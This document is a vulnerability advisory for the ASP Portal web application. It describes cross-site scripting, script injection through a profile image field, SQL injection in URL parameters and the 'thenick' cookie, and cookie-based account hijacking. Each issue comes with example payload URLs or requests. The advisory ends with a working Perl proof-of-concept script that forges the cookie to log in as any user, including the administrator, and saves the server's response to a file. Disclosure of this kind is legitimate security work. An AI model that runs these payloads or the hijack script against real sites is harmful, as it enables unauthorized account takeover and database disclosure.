Title: Asp Portal Multiple Vulnerabilities   
  
By: Manuel López   
  
Software: Asp Portal   
  
Vendor Description:  
ASP Portal is a an ASP powered portal site which uses an Access database to   
store all the site info. The script also includes and easy to use Admin   
Interface, so you can change everything you need to online, which makes   
maintaing the site very easy.   
  
Severity:  
Moderately critical   
  
Impact:  
Disclosure of authentication information, Disclosure of user information,   
Execution of arbitrary code via network, Modification of user information,   
ID Spoofing.   
  
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)   
  
Description:   
  
---- Cross-Site Scripting ----   
  
This product is vulnerable to the Cross-Site Scripting vulnerability that   
would allow attackers to inject HTML and script codes into the pages and   
execute it on the client's browser.   
  
http://localhost/index.asp?inc='>[XSS]  
http://localhost/index.asp?inc=profile&searchtext='>[XSS]  
http://localhost/index.asp?inc=forumread&article='>[XSS]   
  
---- Image ScriptCode Injection ----   
  
An attacker can inject arbitrary HTML or scriptcode instead of an Image in   
"photograph URL" of user's 'details' page.  
javascript:alert()   
  
---- Sql Injection ----   
  
Another problem of sanitation could lead an attacker to inject SQL code to   
manipulate and disclose various information from the database. The problem   
is in the fields 'pageid' and 'downloadscat'.   
  
http://localhost/index.asp?inc=blog&pageid='[SqlQuery]  
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]   
  
Also it is possible an Sql Injection in the cookie, in 'thenick' field.   
  
GET http://localhost/index.asp HTTP/1.1  
Cookie: thenick='[SqlQuery]   
  
---- Cookie Account Hijack ----   
  
It is possible to impersonate others by manipulating the 'thenick' parameter   
in the cookie.  
Modifying the cookie is possible to gain access to other account. This issue   
can be exploited to gain an administrative account with the service.   
  
---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----   
  
#!/usr/bin/perl -w  
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK  
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm   
  
use IO::Socket;  
if (@ARGV < 4)  
{  
print "\n\n";  
print " ____________________________________________________________ \n";  
print "| |\n";  
print "| PROOF OF CONCEPT COOKIE ACCOUNT HIJACK |\n";  
print "| Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";  
print "| |\n";  
print "| By: Manuel López #IST |\n";  
print "|____________________________________________________________|\n";  
print "\n\n";  
exit(1);  
}   
  
$host = $ARGV[0];  
$directorio = $ARGV[1];  
$usuario = $ARGV[2];  
$fichero = $ARGV[3];   
  
print "\n";  
print "----- Conectando <----\n";  
$socket = IO::Socket::INET->new(Proto => "tcp",  
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";  
print "====> Conectado\n";  
print "====> Enviando Datos\n";  
$socket->print(<<taqui) or die "write: $!";  
GET http://$host/$directorio HTTP/1.1  
Cookie: thenick=$usuario   
  
taqui  
print "====> OK\n";  
print "====> Generando $fichero ...\n";  
open( Result, ">$fichero");  
print Result while <$socket>;  
close Result;
